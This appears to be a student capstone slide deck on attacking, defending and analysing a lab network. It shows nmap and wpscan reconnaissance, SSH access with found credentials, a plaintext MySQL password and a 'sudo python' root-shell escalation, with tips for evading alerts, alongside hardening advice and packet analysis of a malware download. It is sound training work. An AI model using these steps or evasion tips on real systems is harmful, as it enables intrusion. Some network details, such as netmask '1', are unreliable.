

# **Final Engagement**

**Attack, Defense & Analysis of a Vulnerable Network**

**By: Nathan Smith, Abdullah Alamri, Ty Needam, and Logan Sarkees**

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**Network Topology & Critical Vulnerabilities**



**Exploits Used**



**Avoiding Detect**




**Maintaining Access**



# Network Topology & Critical Vulnerabilities

# Network Topology



## Network

Address Range:  
192.168.1.0/24  
Netmask: 255.255.255.0  
Gateway: 192.168.1.1

## Machines

IPv4: 192.168.1.90  
OS: Linux  
Hostname: Kali VM

IPv4: 192.168.1.105  
OS: linux  
Hostname: Capstone VM

IPv4: 192.168.1.110  
OS: linux  
Hostname: Target 1 VM

IPv4: 192.168.1.115  
OS: linux  
Hostname: Target 2 VM

# Critical Vulnerabilities: Target 1

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Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
WordPress web server	WPSCAN enumeration	Ability to find usernames
Authentication - weak password	Remote access to exploit a server via SSH	Brute force into server
MySQL root password	Password was plain text visible	Allowed hashes to be found
Weak sudo permission	Python allowed for root bash	privilege escalation to root



# Exploits Used



# Exploitation: Open Ports

Summarize the following:

- Nmap scan, port 80 http and port 22 SSH
- Achieved usernames and open ports

```
root@Kali:~# nmap 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-09 20:18 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00062s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

```
root@Kali:~# ssh -i -id_rsa michael@192.168.1.110
Warning: Identity file -id_rsa not accessible: No such file or directory.
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

```
root@Kali:~# ssh -i -id_rsa steven@192.168.1.110
Warning: Identity file -id_rsa not accessible: No such file or directory.
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```



# Exploitation: SSH remote access & mysql Database access

Summarize the following:

- with username of webserver we were able to access Michael account and take control via SSH and get the mysql username and password from php file
- this granted to the mysql username and password and leaded to Steven password hashes

```
root@Kali:~# ssh -i -id_rsa michael@192.168.1.110
Warning: Identity file -id_rsa not accessible: No such file or directory.
michael@192.168.1.110's password:
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

```
You have new mail.
```

```
Last login: Sat Aug  8 04:49:45 2020 from 192.168.1.90
```

```
michael@target1:~$ cd ../../var/www/
```

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');
```

```
michael@target1:/var/www/html/wordpress$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)

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affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input stateme
nt.

mysql> █
```



# Exploitation: Privilege Escalation via Python to run as root

Summarize the following:

- By gaining the user shell, it was determined that “Steven” has the privilege escalation root via Python
- Achieved using Steven sudo privilege to python, and we used sudo access to spawn the root shell

```
steven@target1:~$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
steven@target1:~$
```

```
steven@target1:/$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/# cd root
root@target1:~# ls
flag4.txt
```

# Avoiding Detection



# Stealth Exploitation of Port Scan

---

## Monitoring Overview

- Which alerts detect this exploit? Port Scan Monitor
- Which metrics do they measure? HTTP source packet requests
- Which thresholds do they fire at? When the count of source packets reaches 3000 at any one time within 30 seconds.

## Mitigating Detection

- How can you execute the same exploit without triggering the alert?
  - If the target IP address is known, run nmap only on specific IP address, not on subnet.
- Are there alternative exploits that may perform better? ZMap

# Stealth Exploitation of Port Scan

---

- Simple nmap scan over single IP address

```
root@Kali:~# nmap 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-09 20:18 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00062s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```



# Stealth Exploitation of WordPress Enumeration Scan

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## Monitoring Overview

- Which alerts detect this exploit? Excessive HTTP Errors
- Which metrics do they measure? Errored HTTP Response Status Codes (400-, 500- range)
- Which thresholds do they fire at? Where the top 5 status codes are above 400 over a 5-minute timeframe.

## Mitigating Detection

- How can you execute the same exploit without triggering the alert?
  - Execute wpscan enumeration on specific areas at a time (i.e., enumeration -u against users).
- Are there alternative exploits that may perform better? Lynis

# Stealth Exploitation of WordPress Enumeration Scan

- wpscan enumeration against users

```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress --enumerate u
```

---

WPSecan®

WordPress Security Scanner by the WPScan Team  
Version 3.7.8  
Sponsored by Automattic - <https://automattic.com/>  
@WPScan\_, @ethicalhack3r, @erwan\_lr, @firefart

---

```
[+] URL: http://192.168.1.110/wordpress/  
[+] Started: Tue Aug 11 09:39:24 2020
```



The background of the slide is a complex, abstract geometric pattern. It consists of numerous triangles of varying sizes and shades of dark blue and black, arranged in a way that creates a sense of depth and movement. The triangles are interlocked, forming a larger, irregular shape that fills the entire frame. The overall effect is a modern, minimalist aesthetic.

# Defensive

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**Hardening**


03

**Implementing Patches**



# Network Topology & Critical Vulnerabilities

# Network Topology



## Network

Address Range:  
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OS: Linux  
Hostname: Kali VM

IPv4: 192.168.1.105  
OS: linux  
Hostname: Capstone VM

IPv4: 192.168.1.110  
OS: linux  
Hostname: Target 1 VM

IPv4: 192.168.1.115  
OS: linux  
Hostname: Target 2 VM



# Critical Vulnerabilities: Target 1

---

Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
SSH open	Remote access to exploit a server via SSH	Brute force into server
WordPress web server	WPSCAN enumeration	Ability to find usernames
MySQL root password	Password was plain text visible	Allowed hashes to be found
Weak sudo permission	Python allowed sudo access	privilege escalation to root

# Alerts Implemented



# Port Scan Monitor

- This alert monitors HTTP source packet requests above 3000.
- When the count of all HTTP source packet requests is above 3000 for the last 30 seconds, there will be an alert.

ae71b019b707				ago			
<input type="checkbox"/>	f2c6cd27-039a-44df-ae12-307a21852503	Port Scan Monitor	 Firing	a few seconds ago	a few seconds ago	Throttled	 

Rows per page: 10 

 1 

# HTTP Request Size Monitor

- This alert monitors HTTP request bytes above 3500.
- When the sum of all HTTP request bytes is above 3500 for the last 1 minute, there will be an alert.

Current status for 'HTTP Request Size Monitor' [Deactivate](#) [Delete](#)

[Execution history](#) [Action statuses](#)

Last one hour ▾

Trigger time	State	Comment
2020-08-04T22:56:01+00:00	✓ OK	
2020-08-04T22:55:01+00:00	✓ OK	
2020-08-04T22:54:00+00:00	✓ OK	
2020-08-04T22:53:01+00:00	✓ OK	
2020-08-04T22:52:01+00:00	✓ OK	
2020-08-04T22:51:01+00:00	✓ OK	
2020-08-04T22:50:01+00:00	✓ OK	
2020-08-04T22:49:01+00:00	▷ Firing	
2020-08-04T22:48:01+00:00	▷ Firing	








# CPU Usage Monitor

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- This alert monitors the percentage of CPU time spent by the process since the last update.
- When the max System Process CPU total is above 50% for the last 5 minutes, there will be an alert.

---

<input type="checkbox"/>	2ef13ebc- b2f0-4426- b258- 2f2c398d966 d	CPU Usage Monitor	 Firing	a few seconds ago	a few seconds ago	 
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# Hardening

# Hardening Against SSH on Target 1

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- Edit the default port for SSH / Set a custom port for your SSH Services
- Edit the SSH main config file using
  - nano /etc/ssh/sshd\_config
  - change ssh port to something other than 22 (# Port 22)
  - i.e. Port 49874
- Whitelist your specified port on your firewall



# Hardening Against Weak Passwords on Target 1

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- Hardening the password policy will prevent weak passwords.
  - Include restrictions such as:
    - Have passwords restrictions such as minimum of 12 characters including uppercase, lowercase, special characters, and numbers.
    - Passwords expirations
    - Account lockout after 3 failed attempts

# Hardening Against Sensitive Data Exposure on Target 1

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- The MySQL root password was saved in plain text
- Change the permissions of the wp\_config.php file to only be read, write, and executed by root user.
- `chmod 700 wp_config.php`
- Move the wp\_config.php file from the root folder
  - copy file to safe location
  - edit file's path within the file

# Hardening Against Sudo Permission Exposure on Target 1

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- Avoid giving sudo rights to any program that allows you to escape to the shell
- Do not give sudo rights to python, nmap, vi, and others.



# Implementing Patches

# Implementing Patches with Ansible

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## Playbook Overview

- Weak Passwords - Fixing weak passwords will allow for more secure accounts on the network.
  - Force complex passwords upon creation and reset.
  - Reject attempts to reset a password that has been already used.
- SSH into target 1
  - By not allowing people to SSH into accounts on Target 1, the accounts will be more secure and will not be able to gain access from other machines.
    - Block SSH authority from all user accounts.
    - Grant SSH authority to only authorized user accounts (ie, system admins).
- Sensitive Data Exposure
  - By having data more secure, it will not be exposed as easily and be protected from hackers as well as other from wanting to obtain it.
    - For all user accounts, block sudo access attempts (set response to sudo command as “Unauthorized User”).
    - For any few authorized user accounts (i.e., system admin), force password entry for sudo requests (set sudo command response to “Password: “)

# Network Analysis



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This document contains the following resources:

01

**Traffic Profile**

02


**Normal Activity**

03

**Malicious Activity**

# Network Topology & Critical Vulnerabilities

# Network Topology



## Network

Address Range:  
192.168.1.0/24  
Netmask: 1  
Gateway: 225

## Machines

IPv4: 192.168.1.90  
OS: Linux  
Hostname: Kali VM

IPv4: 192.168.1.105  
OS: linux  
Hostname: Capstone VM

IPv4: 192.168.1.110  
OS: linux  
Hostname: Target 1 VM

IPv4: 192.168.1.115  
OS: linux  
Hostname: Target 2 VM



# Critical Vulnerabilities: Target 1

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Our assessment uncovered the following critical vulnerabilities in **Target 1**.

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SSH open	Remote access to exploit a server via SSH	Brute force into server
WordPress web server	WPSCAN enumeration	Ability to find usernames
MySQL root password	Password was plain text visible	Allowed hashes to be found
Weak SU premission	Python allowed SU access	privilege escalation to root

# Traffic Profile

# Traffic Profile

Our analysis identified the following characteristics of the traffic on the network:

Feature	Value	Description
Top Talkers (IP Addresses)	172.16.4.205; 10.0.0.201 185.243.115.84; 10.6.12.203	Machines that sent the most traffic.
Most Common Protocols	TCP, UDP, TLS (% of packets)	Three most common protocols on the network.
# of Unique IP Addresses	817	Count of observed IP addresses.
Subnets	61	Observed subnet ranges.
# of Malware Species	4	Number of malware binaries identified in traffic.



# Behavioral Analysis

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## Purpose of Traffic on the Network

Users were observed engaging in the following kinds of activity.

### **“Normal” Activity**

- Standard Website Visit
- Skype Session

### **Suspicious Activity**

- Malware Download
- Malware Feeding to Fake Website (URL)

# Normal Activity

# Standard HTTP Request/Response

---

## Summary:

- Observed traffic on HTTP port 80:
  - User (IP 10.11.11.121) instigated TCP 3-way handshake, and website orbike.com (IP 173.236.251.15) complied (SYN, SYN/ACK,ACK).
  - User sent HTTP GET request to orbike.com to receive webpage.
  - orbike.com responded to user with HTTP status code OK (200), and provided webpage material.
  - orbike.com instigated end of HTTP session (FIN/ACK, FIN/ACK, ACK).
- What, specifically, was the user doing?
  - Visiting the webpage orbike.com



# Standard HTTP Request/Response

tcp.stream eq 842						
Time	Source	Src port	Destination	Dst port	Protocol	Info
2020-08-08 08:36:19.82588...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SA
2020-08-08 08:36:19.82825...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0
2020-08-08 08:36:19.83049...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=1 Ack=1 Win=87808 Len=0 TSval:
2020-08-08 08:36:19.84123...	10.11.11.121	60320	orbike.com	80	HTTP	GET / HTTP/1.1
2020-08-08 08:36:19.84230...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=1 Ack=540 Win=30080 Len=0 TSv:
2020-08-08 08:36:19.86487...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=1 Ack=540 Win=30080 Len=1345
2020-08-08 08:36:19.88749...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=1346 Ack=540 Win=30080 Len=134
2020-08-08 08:36:19.91007...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=2691 Ack=540 Win=30080 Len=134
2020-08-08 08:36:19.93261...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=4036 Ack=540 Win=30080 Len=134
2020-08-08 08:36:19.95519...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=5381 Ack=540 Win=30080 Len=134
2020-08-08 08:36:19.97776...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=6726 Ack=540 Win=30080 Len=134
2020-08-08 08:36:20.00034...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=8071 Ack=540 Win=30080 Len=134
2020-08-08 08:36:20.00947...	orbike.com	80	10.11.11.121	60320	HTTP	HTTP/1.1 200 OK (text/html)
2020-08-08 08:36:20.01052...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=540 Ack=1346 Win=90368 Len=0
2020-08-08 08:36:20.01162...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=540 Ack=2691 Win=93184 Len=0
2020-08-08 08:36:20.01262...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=540 Ack=4036 Win=95744 Len=0
2020-08-08 08:36:20.01368...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=540 Ack=5381 Win=98560 Len=0
▼ Frame 77521: 571 bytes on wire (4568 bits), 571 bytes captured (4568 bits) on interface eth0, id 0						
▼ Interface id: 0 (eth0)						



# Standard HTTP Request/Response

tcp.stream eq 842							
Time	Source	Src port	Destination	Dst port	Protocol	Info	
2020-08-08 08:36:20.12563...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=13956 Ack=998 Win=31232	
2020-08-08 08:36:20.14818...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=15301 Ack=998 Win=31232	
2020-08-08 08:36:20.17076...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=16646 Ack=998 Win=31232	
2020-08-08 08:36:20.19333...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=17991 Ack=998 Win=31232	
2020-08-08 08:36:20.20247...	orbike.com	80	10.11.11.121	60320	HTTP	HTTP/1.1 200 OK (text/html)	
2020-08-08 08:36:20.20352...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=11266 Win=11187	
2020-08-08 08:36:20.20456...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=12611 Win=11468	
2020-08-08 08:36:20.20563...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=13956 Win=11724	
2020-08-08 08:36:20.20668...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=15301 Win=12000	
2020-08-08 08:36:20.20774...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=16646 Win=12262	
2020-08-08 08:36:20.20878...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=17991 Win=12544	
2020-08-08 08:36:20.20984...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=19336 Win=12800	
2020-08-08 08:36:20.21089...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [ACK] Seq=998 Ack=19841 Win=13081	
2020-08-08 08:36:21.60003...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [FIN, ACK] Seq=19841 Ack=998 Win=	
2020-08-08 08:36:21.60655...	10.11.11.121	60320	orbike.com	80	TCP	60320 → 80 [FIN, ACK] Seq=998 Ack=19842 Win=	
2020-08-08 08:36:21.62376...	orbike.com	80	10.11.11.121	60320	TCP	80 → 60320 [ACK] Seq=19842 Ack=999 Win=31232	



# Skype Session

---

## Summary:

- Observed traffic on HTTP port 443:
  - User LAPTOP-5WKHX9YG.frank-n-ted.com (IP 10.6.12.203 ) initiated TCP 3-way handshake with website skype-dataprd-colcus00.cloudapp.net (IP 40.122.160.14 ) (SYN, SYN/ACK, ACK).
  - User then sent a 'Client Hello' TLSv1.2 message, and the skype address responded with 'Server Hello' TLSv1.2 message with Certificate Status.
  - The two parties performed a Key exchange, a Cipher Spec Change, and Encrypted handshake.
  - Application Data was exchanged.
  - Session was ended (FIN/ACK, ACK, FIN/PSH/ACK, ACK).
- What, specifically, was the user doing?
  - This appears to be a standard Skype session.



# Skype Session

tcp.stream eq 975						
Source	Src port	Destination	Dst port	Protocol	Info	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TCP	49707 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=1 Ack=1 Win=65535 Len=0	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TLSv1.2	Client Hello	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=1 Ack=198 Win=64240 Len=0	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=1 Ack=198 Win=64240 Len=14	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [PSH, ACK] Seq=1461 Ack=198 Win=64240 Len=0	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=198 Ack=2457 Win=65535 Len=0	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=2457 Ack=198 Win=64240 Len=0	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [PSH, ACK] Seq=3917 Ack=198 Win=64240 Len=0	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TLSv1.2	Server Hello, Certificate, Certificate Status, S	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=198 Ack=6091 Win=65535 Len=0	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TLSv1.2	Client Key Exchange, Change Cipher Spec, Encrypt	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=6091 Ack=291 Win=64240 Len=0	
skypedataprddcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TLSv1.2	Change Cipher Spec, Encrypted Handshake Message	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=291 Ack=6142 Win=65535 Len=0	
LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprddcolcus00.cloudapp.net	443	TLSv1.2	Application Data	

▶ Frame 80531: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface eth0, id 0

▶ Ethernet II, Src: IntelCor 6d:fc:e2 (84:3a:4b:6d:fc:e2), Dst: Cisco 29:41:7d (ec:c8:82:29:41:7d)



# Skype Session

tcp.stream eq 975					
Source	Src port	Destination	Dst port	Protocol	Info
8... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TLSv1.2	Change Cipher Spec, Encrypted Handshake Message
4... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=291 Ack=6142 Win=65535 Len=0
0... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TLSv1.2	Application Data
6... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=6142 Ack=1149 Win=64240 Len=0
9... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=1149 Ack=6142 Win=65535 Len=0
1... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TLSv1.2	Application Data
6... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=6142 Ack=2609 Win=64240 Len=0
4... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=6142 Ack=2662 Win=64240 Len=0
5... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TLSv1.2	Application Data
1... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=2662 Ack=6196 Win=65535 Len=0
9... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TLSv1.2	Application Data
6... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=2662 Ack=6553 Win=65535 Len=0
4... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TCP	49707 → 443 [FIN, ACK] Seq=2662 Ack=6553 Win=65535 Len=0
3... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [ACK] Seq=6553 Ack=2663 Win=64239 Len=0
9... skypedataprdcolcus00.cloudapp.net	443	LAPTOP-5WKHX9YG.frank-n-ted.com	49707	TCP	443 → 49707 [FIN, PSH, ACK] Seq=6553 Ack=2663 Win=65535 Len=0
4... LAPTOP-5WKHX9YG.frank-n-ted.com	49707	skypedataprdcolcus00.cloudapp.net	443	TCP	49707 → 443 [ACK] Seq=2663 Ack=6554 Win=65535 Len=0



# Malicious Activity



# Malware Download

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## Summary:

- Traffic observed over HTTP port 80:
  - The website <http://snnmnkxdhflwgthqismb.com> (IP address 5.101.51.151) sent several TCP Acknowledgement (ACK) requests to user LAPTOP-5WKHX9YG.frank-n-ted.com (IP address 10.6.12.203).
  - User LAPTOP-5WKHX9YG.frank-n-ted.com then made several HTTP POST requests to the /post.php file over the website <http://snnmnkxdhflwgthqismb.com>, which were returned with the approved 200 status code.
  - The <http://snnmnkxdhflwgthqismb.com> website then constantly sent data to the user that user had already been acknowledged. This is seen in multiple TCP Spurious Retransmission requests.
- What, specifically, was the user doing?
  - The user downloaded a malicious php file, possibly through a Microsoft Excel spreadsheet. Any browsed websites before this exchange are unknown.



# Malware Download

## - TCP ACK Requests

http and ip.addr == 10.6.12.203							
Source	Src port	Destination	Dst port	Host	Host Name	Protocol	Info
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=3917 Ack=
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=13741 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=24793 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=28477 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=38533 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=54033 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=58413 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [PSH, ACK] Seq=9210
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=93329 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=97013 Ack
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [PSH, ACK] Seq=1019
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [PSH, ACK] Seq=1046
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [PSH, ACK] Seq=1070
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=126485 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=137537 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [PSH, ACK] Seq=1500
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=159641 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=168325 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=171245 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=172705 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [PSH, ACK] Seq=1825
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=185285 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=194345 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=224957 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=232093 Ac
snnmnkxdhflwgthqismb.com	80	LAPTOP-5WKHX9YG.fr...	49744			TCP	80 → 49744 [ACK] Seq=248753 Ac



# Malware Download

- Infected IP (10.6.12.203) sending POST requests to malicious URL
- Malicious URL constantly sending data that has already been acknowledged (AKA Needless Transmissions)

http and ip.addr == 10.6.12.203								
	Source	Src port	Destination	Dst port	Host	Host Name	Protocol	Info
679...	10.6.12.203	49739	205.185.125.104	80	205.185.125.104		HTTP	GET /files/june11.dll HTTP/1.1
763...	205.185.125.104	80	10.6.12.203	49739			HTTP	HTTP/1.1 200 OK
409...	10.6.12.203	49743	5.101.51.151	80	snnmnkxdhflwgthqismb.com		HTTP	POST /post.php HTTP/1.1
195...	5.101.51.151	80	10.6.12.203	49743			HTTP	HTTP/1.1 200 OK (text/html)
935...	10.6.12.203	49744	5.101.51.151	80	snnmnkxdhflwgthqismb.com		HTTP	POST /post.php HTTP/1.1
970...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
561...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
301...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
193...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
315...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
367...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
400...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →
622...	5.101.51.151	80	10.6.12.203	49744			TCP	[TCP Spurious Retransmission] 80 →

Request URI: /post.php

Request Version: HTTP/1.1

Accept: \*/\*\r\n

